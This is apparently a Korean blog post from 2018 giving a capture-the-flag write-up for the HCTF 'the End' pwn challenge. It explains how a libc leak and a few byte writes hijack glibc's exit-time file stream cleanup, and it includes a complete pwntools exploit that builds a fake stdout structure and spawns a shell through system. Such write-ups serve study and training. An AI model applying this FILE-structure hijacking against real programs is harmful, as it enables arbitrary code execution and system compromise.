github twitter facebook email
[HCTF]the End
Nov 14, 2018
2 minutes read

바이너리는 pie, full relro가 걸려있다.

시작시 libc address를 leak 해주고, 5번가량의 arbitrary write를 준다.

그리고 바로 exit로 프로그램을 종료시킨다.

생각을 조금 해보면 덮을곳은 exit를 처리하는 과정에서 사용하는 부분밖에 없다는것을 알 수 있다.

보통은 fs:0x30을 알아내서 atexit를 덮던가, __tls_get_addr@got를 덮어내는데, 이 2개다 이번 문제에서는 불가능하다.

__libc_atexit에는 처음에 fcloseall_0 라는 함수가 있다. 이를 exit처리하면서 부르게 되는데,

이 함수는 IO_list_all를 참조하여 _IO_file_jumps + 0x58지점의 함수를 부르게 된다.

처음에는 _IO_2_1_stderr를 정리하고, chain을 따라가면서 stdout, stdin을 정리하게 되는듯 싶다.

원래대로면 해당 _IO_2_1_stderr, out, in 의 _IO_file_jumps를 1byte 바꾸고, 바꾼 주소 부근에 oneshot를 넣어서 쉘을 얻어내는 것 같다.

하지만 나는 이걸 대회때 생각을 못해서 IO_list_all의 1byte를 수정하고, 거기에 _IO_file_jumps의 위치를 계산하고, 거기에 +0x58지점에 oneshot을 넣었다.

하지만 이럴경우 oneshot이 제대로 먹히질 않는다. 따라서 gets로 덮어내었다.

gets로 덮어낼경우 _IO_2_1_stdout에 값을 쓸 수 있게 된다.

따라 fake file structure를 구성할 수 있다. 이를 구성하면서 chain 과 _IO_file_jump를 적당히 조절한다.

chain같은 경우는 _IO_2_1_stdout을 넣어서 다시 자기를 부르게 한다.

_IO_file_jump는 뒷부분의 fake 주소를 넣는다.

이렇게 되면 다시 gets를 실행할 수 있다. 다시 gets를 실행할 때는,

_flags부분에는 sh를 넣어주면 되는데, fcloseall_0에서 처리하는 과정에서 해당 _flags를 체크하고, 값을 바꾼다. 따라서 적당히 맞춰넣으면 되는데 “a;sh!“를 넣으면 적당히 맞는다.

chain 같은 경우는 그대로 _IO_2_1stdout을 가리키고

IO_file_jump는 뒷부분 fake주소인데, system을 실행하게끔 하면 된다.

이 때 적당히 다른애들도 맞춰줘야하는데 다 _IO_2_1_stdout주소를 넣으니 적당히 맞았다.

from pwn import *

#p = remote('150.109.44.250', 20002)
p =process("./the_end")
libc = ELF("./libc64.so")

p.recvuntil("token:")
p.sendline("fxLaMEMMjWFp1fK9aNLMnqowfHQ2cBt1")

p.recvuntil('gift ')
leak = int(p.recvuntil(',')[:-1],16)
libcbase = leak - libc.symbols['sleep']
log.info("LIBCBASE : 0x%x" % libcbase) 

oneshot = libcbase + libc.symbols['gets']#0xf02a4#0x4526a
target  = libcbase + libc.symbols['_IO_2_1_stdout_'] + 0xd8 # _IO_file_jumps

one_target = libcbase + libc.symbols['_IO_file_jumps'] + 0x1500

context.log_level='debug'

p.send(p64(target+1))
p.send(chr(one_target >> 8 & 0xff))

pause()

p.send(p64(one_target+0x58))
p.send(chr(oneshot & 0xff))
p.send(p64(one_target+1+0x58))
p.send(chr(oneshot >> 8 & 0xff))
p.send(p64(one_target+2+0x58))
p.send(chr(oneshot >> 16 & 0xff))

log.info("Target : 0x%x" % target)
log.info("Onetarget : 0x%x" % one_target)

fake =  p64(0x00000000fbad2a84)
fake += p64(0)*13
fake += p64(libcbase + libc.symbols['_IO_2_1_stdout_'])
fake += p64(0)
fake += p64(0xffffffffffffffff)
fake += p64(0)
fake += p64(libcbase + 0x3c6780)
fake += p64(0xffffffffffffffff)
fake += p64(0)
fake += p64(libcbase + 0x3c47a0)
fake += p64(0)*3
fake += p64(0xffffffff)
fake += p64(0)*2
fake += p64(libcbase + 0x3C5720) # jump

fake += p64(libcbase + libc.symbols['_IO_2_1_stderr_'])
fake += p64(libcbase + libc.symbols['_IO_2_1_stdout_'])
fake += p64(libcbase + libc.symbols['_IO_2_1_stdin_'])


p.sendline(fake  + p64(libcbase + libc.symbols['gets'])*40 +p64(libcbase + libc.symbols['system'])*40)

fake =  "a;sh!" + '\x00\x00\x00'
fake += p64(libcbase + libc.symbols['_IO_2_1_stdout_'])*(13 + 13) 
fake += p64(libcbase + 0x3c5720 + 8*40)

sleep(0.1)
p.sendline(fake)
p.interactive()

이런식으로 chain을 조절하며 문제를 풀어낼 수 도 있다.

뭔가 많이 돌아간 느낌도 많이 들지만…


Back to posts


comments powered by Disqus